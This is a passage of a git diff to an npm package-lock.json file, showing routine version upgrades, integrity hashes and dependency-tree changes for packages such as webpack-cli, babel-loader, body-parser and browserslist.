"1.11.1", "@xtuc/long": "4.2.2" } }, "@webpack-cli/configtest": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.1.0.tgz", - "integrity": "sha512-ttOkEkoalEHa7RaFYpM0ErK1xc4twg3Am9hfHhL7MVqlHebnkYd2wuI/ZqTDj0cVzZho6PdinY0phFZV3O0Mzg==", - "dev": true + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.1.1.tgz", + "integrity": "sha512-1FBc1f9G4P/AxMqIgfZgeOTuRnwZMten8E7zap5zgpPInnCrP8D4Q81+4CWIch8i/Nf7nXjP0v6CjjbHOrXhKg==", + "dev": true, + "requires": {} }, "@webpack-cli/info": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-1.4.0.tgz", - "integrity": "sha512-F6b+Man0rwE4n0409FyAJHStYA5OIZERxmnUfLVwv0mc0V1wLad3V7jqRlMkgKBeAq07jUvglacNaa6g9lOpuw==", + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-1.4.1.tgz", + "integrity": "sha512-PKVGmazEq3oAo46Q63tpMr4HipI3OPfP7LiNOEJg963RMgT0rqheag28NCML0o3GIzA3DmxP1ZIAv9oTX1CUIA==", "dev": true, "requires": { "envinfo": "^7.7.3" } }, "@webpack-cli/serve": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.6.0.tgz", - "integrity": "sha512-ZkVeqEmRpBV2GHvjjUZqEai2PpUbuq8Bqd//vEYsp63J8WyexI8ppCqVS3Zs0QADf6aWuPdU+0XsPI647PVlQA==", - "dev": true + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.6.1.tgz", + "integrity": "sha512-gNGTiTrjEVQ0OcVnzsRSqTxaBSr+dmTfm+qJsCDluky8uhdLWep7Gcr62QsAKHTMxjCS/8nEITsmFAhfIx+QSw==", + "dev": true, + "requires": {} }, "@xtuc/ieee754": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", - "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", - "dev": true + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==" }, "@xtuc/long": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", - "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", - "dev": true + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==" }, "abab": { "version": "2.0.5", @@ -3233,32 +18695,27 @@ "integrity": "sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q==" }, "accepts": { - "version": "1.3.7", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", - "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", "dev": true, "requires": { - "mime-types": "~2.1.24", - "negotiator": "0.6.2" + "mime-types": "~2.1.34", + "negotiator": "0.6.3" } }, "acorn": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.2.0.tgz", - "integrity": "sha512-apwXVmYVpQ34m/i71vrApRrRKCWQnZZF1+npOD0WV5xZFfwWOmKGQ2RWlfdy9vWITsenisM8M0Qeq8agcFHNiQ==", - "dev": true - }, - "acorn-import-assertions": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz", - "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", "dev": true }, "acorn-jsx": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.2.0.tgz", - "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==", - "dev": true + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "requires": {} }, "aggregate-error": { "version": "3.1.0", @@ -3281,35 +18738,50 @@ "uri-js": "^4.2.2" } }, - "ajv-errors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz", - "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==", - "dev": true - }, - "ajv-keywords": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.4.1.tgz", - "integrity": "sha512-RO1ibKvd27e6FEShVFfPALuHI3WjSVNeK5FIsmme/LYRNxjKuNj+Dt7bucLa6NdSv3JcVTyMlm9kGR84z1XpaQ==", - "dev": true - }, - "ansi-escapes": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.1.tgz", - "integrity": "sha512-JWF7ocqNrp8u9oqpgV+wH5ftbt+cfvv+PTjOvKLT3AdYly/LmORARfEVT1iyjwN+4MqE5UmVKoAdIBqeoCHgLA==", + "ajv-formats": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", "dev": true, "requires": { - "type-fest": "^0.11.0" + "ajv": "^8.0.0" }, "dependencies": { - "type-fest": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.11.0.tgz", - "integrity": "sha512-OdjXJxnCN1AvyLSzeKIgXTXxV+99ZuXl3Hpo9XpJAv9MBcHrrJOQ5kV7ypXOuQie+AmWG25hLbiKdwYTifzcfQ==", + "ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", "dev": true } } }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "requires": {} + }, + "ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "requires": { + "type-fest": "^0.21.3" + } + }, "ansi-html-community": { "version": "0.0.8", "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz", @@ -3317,9 +18789,9 @@ "dev": true }, "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true }, "ansi-styles": { @@ -3430,6 +18902,14 @@ "picocolors": "^0.2.1", "postcss": "^7.0.32", "postcss-value-parser": "^4.1.0" + }, + "dependencies": { + "picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", + "dev": true + } } }, "babel-eslint": { @@ -3447,13 +18927,13 @@ } }, "babel-loader": { - "version": "8.2.2", - "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.2.tgz", - "integrity": "sha512-JvTd0/D889PQBtUXJ2PXaKU/pjZDMtHA9V2ecm+eNRmmBCMR09a+fmpGTNwnJtFmFl5Ei7Vy47LjBb+L0wQ99g==", + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.4.tgz", + "integrity": "sha512-8dytA3gcvPPPv4Grjhnt8b5IIiTcq/zeXOPk4iTYI0SVXcsmuGg7JtBRDp8S9X+gJfhQ8ektjXZlDu1Bb33U8A==", "dev": true, "requires": { "find-cache-dir": "^3.3.1", - "loader-utils": "^1.4.0", + "loader-utils": "^2.0.0", "make-dir": "^3.1.0", "schema-utils": "^2.6.5" }, @@ -3466,12 +18946,6 @@ "requires": { "semver": "^6.0.0" } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true } } }, @@ -3512,41 +18986,33 @@ } }, "babel-plugin-polyfill-corejs2": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.2.tgz", - "integrity": "sha512-kISrENsJ0z5dNPq5eRvcctITNHYXWOA4DUZRFYCz3jYCcvTb/A546LIddmoGNMVYg2U38OyFeNosQwI9ENTqIQ==", + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.1.tgz", + "integrity": "sha512-v7/T6EQcNfVLfcN2X8Lulb7DjprieyLWJK/zOWH5DUYcAgex9sP3h25Q+DLsX9TloXe3y1O8l2q2Jv9q8UVB9w==", "dev": true, "requires": { "@babel/compat-data": "^7.13.11", - "@babel/helper-define-polyfill-provider": "^0.2.2", + "@babel/helper-define-polyfill-provider": "^0.3.1", "semver": "^6.1.1" - }, - "dependencies": { - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } } }, "babel-plugin-polyfill-corejs3": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.5.tgz", - "integrity": "sha512-ninF5MQNwAX9Z7c9ED+H2pGt1mXdP4TqzlHKyPIYmJIYz0N+++uwdM7RnJukklhzJ54Q84vA4ZJkgs7lu5vqcw==", + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.5.2.tgz", + "integrity": "sha512-G3uJih0XWiID451fpeFaYGVuxHEjzKTHtc9uGFEjR6hHrvNzeS/PX+LLLcetJcytsB5m4j+K3o/EpXJNb/5IEQ==", "dev": true, "requires": { - "@babel/helper-define-polyfill-provider": "^0.2.2", - "core-js-compat": "^3.16.2" + "@babel/helper-define-polyfill-provider": "^0.3.1", + "core-js-compat": "^3.21.0" } }, "babel-plugin-polyfill-regenerator": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.2.tgz", - "integrity": "sha512-Goy5ghsc21HgPDFtzRkSirpZVW35meGoTmTOb2bxqdl60ghub4xOidgNTHaZfQ2FaxQsKmwvXtOAkcIS4SMBWg==", + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.3.1.tgz", + "integrity": "sha512-Y2B06tvgHYt1x0yz17jGkGeeMr5FeKUu+ASJ+N6nB5lQ8Dapfg42i0OVrf8PNGJ3zKL4A23snMi1IRwrqqND7A==", "dev": true, "requires": { - "@babel/helper-define-polyfill-provider": "^0.2.2" + "@babel/helper-define-polyfill-provider": "^0.3.1" } }, "babel-plugin-syntax-jsx": { @@ -3564,9 +19030,9 @@ }, "dependencies": { "core-js": { - "version": "2.6.11", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.11.tgz", - "integrity": "sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==" + "version": "2.6.12", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", + "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==" }, "regenerator-runtime": { "version": "0.11.1", @@ -3582,9 +19048,9 @@ "dev": true }, "balanced-match": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", "dev": true }, "base16": { @@ -3623,27 +19089,27 @@ } }, "body-parser": { - "version": "1.19.0", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", - "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", + "version": "1.19.2", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.2.tgz", + "integrity": "sha512-SAAwOxgoCKMGs9uUAUFHygfLAyaniaoun6I8mFY9pRAJL9+Kec34aU+oIjDhTycub1jozEfEwx1W1IuOYxVSFw==", "dev": true, "requires": { - "bytes": "3.1.0", + "bytes": "3.1.2", "content-type": "~1.0.4", "debug": "2.6.9", "depd": "~1.1.2", - "http-errors": "1.7.2", + "http-errors": "1.8.1", "iconv-lite": "0.4.24", "on-finished": "~2.3.0", - "qs": "6.7.0", - "raw-body": "2.4.0", - "type-is": "~1.6.17" + "qs": "6.9.7", + "raw-body": "2.4.3", + "type-is": "~1.6.18" }, "dependencies": { "bytes": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", - "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", "dev": true }, "debug": { @@ -3684,9 +19150,10 @@ "dev": true }, "bootstrap": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.0.tgz", - "integrity": "sha512-Io55IuQY3kydzHtbGvQya3H+KorS/M9rSNyfCGCg9WZ4pyT/lCxIlpJgG1GXW/PswzC84Tr2fBYi+7+jFVQQBw==" + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.1.tgz", + "integrity": "sha512-0dj+VgI9Ecom+rvvpNZ4MUZJz8dcX7WCX+eTID9+/8HgOkv3dsRzi8BGeZJCQU6flWQVYxwTQnEZFrmJSEO7og==", + "requires": {} }, "brace-expansion": { "version": "1.1.11", @@ -3708,16 +19175,15 @@ } }, "browserslist": { - "version": "4.17.3", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.17.3.tgz", - "integrity": "sha512-59IqHJV5VGdcJZ+GZ2hU5n4Kv3YiASzW6Xk5g9tf5a/MAzGeFwgGWU39fVzNIOVcgB3+Gp+kiQu0HEfTVU/3VQ==", - "dev": true, + "version": "4.20.2", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.20.2.tgz", + "integrity": "sha512-CQOBCqp/9pDvDbx3xfMi+86pr4KXIf2FDkTTdeuYw8OxS9t898LA1Khq57gtufFILXpfgsSx5woNgsBgvGjpsA==", "requires": { - "caniuse-lite": "^1.0.30001264", - "electron-to-chromium": "^1.3.857", + "caniuse-lite": "^1.0.30001317", + "electron-to-chromium": "^1.4.84", "escalade": "^3.1.1", - "node-releases": "^1.1.77", - "picocolors": "^0.2.1" + "node-releases": "^2.0.2", + "picocolors": "^1.0.0" } }, "buffer": { @@ -3732,8 +19198,7 @@ "buffer-from": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", - "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", - "dev": true + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" }, "buffer-indexof": { "version": "1.1.1", @@ -3790,10 +19255,9 @@ } }, "caniuse-lite": { - "version": "1.0.30001265", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001265.tgz", - "integrity": "sha512-YzBnspggWV5hep1m9Z6sZVLOt7vrju8xWooFAgN6BA5qvy98qPAPb7vNUzypFaoh2pb3vlfzbDO8tB57UPGbtw==", - "dev": true + "version": "1.0.30001325", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001325.tgz", + "integrity": "sha512-sB1bZHjseSjDtijV1Hb7PB2Zd58Kyx+n/9EotvZ4Qcz2K3d0lWB8dB4nb8wN/TsOGFq3UuAm0zQZNQ4SoR7TrQ==" }, "chalk": { "version": "2.4.2", @@ -3830,9 +19294,9 @@ "dev": true }, "chokidar": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz", - "integrity": "sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ==", + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", "dev": true, "requires": { "anymatch": "~3.1.2", @@ -3848,8 +19312,7 @@ "chrome-trace-event": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", - "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", - "dev": true + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==" }, "classnames": { "version": "2.3.1", @@ -3857,9 +19320,9 @@ "integrity": "sha512-OlQdbZ7gLfGarSqxesMesDa5uz7KFbID8Kpq/SxIoNGDqY8lSYs0D+hhtBXhcdB3rcbXArFr7vlHheLk1voeNA==" }, "clean-css": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.3.tgz", - "integrity": "sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==", + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.4.tgz", + "integrity": "sha512-EJUDT7nDVFDvaQgAo2G/PJvxmp1o/c6iXLbswsBbUFXi1Nr+AjA2cKmfbKDMjMvzEe75g3P6JkaDDAKk96A85A==", "dev": true, "requires": { "source-map": "~0.6.0" @@ -3889,11 +19352,33 @@ } }, "cli-width": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz", - "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz", + "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==", "dev": true }, + "cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + }, + "dependencies": { + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } + } + } + }, "clone-deep": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", @@ -3939,9 +19424,10 @@ "dev": true }, "commander": { - "version": "2.20.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true }, "commondir": { "version": "1.0.1", @@ -3949,6 +19435,12 @@ "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=", "dev": true }, + "component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==", + "peer": true + }, "compressible": { "version": "2.0.18", "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", @@ -4003,12 +19495,20 @@ "dev": true }, "content-disposition": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", - "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", "dev": true, "requires": { - "safe-buffer": "5.1.2" + "safe-buffer": "5.2.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + } } }, "content-type": { @@ -4018,17 +19518,17 @@ "dev": true }, "convert-source-map": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.7.0.tgz", - "integrity": "sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==", + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", + "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", "requires": { "safe-buffer": "~5.1.1" } }, "cookie": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", - "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==", + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz", + "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==", "dev": true }, "cookie-signature": { @@ -4058,139 +19558,20 @@ "through2": "^2.0.1", "untildify": "^4.0.0", "yargs": "^16.1.0" - }, - "dependencies": { - "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", - "dev": true - }, - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", - "dev": true, - "requires": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", - "wrap-ansi": "^7.0.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - 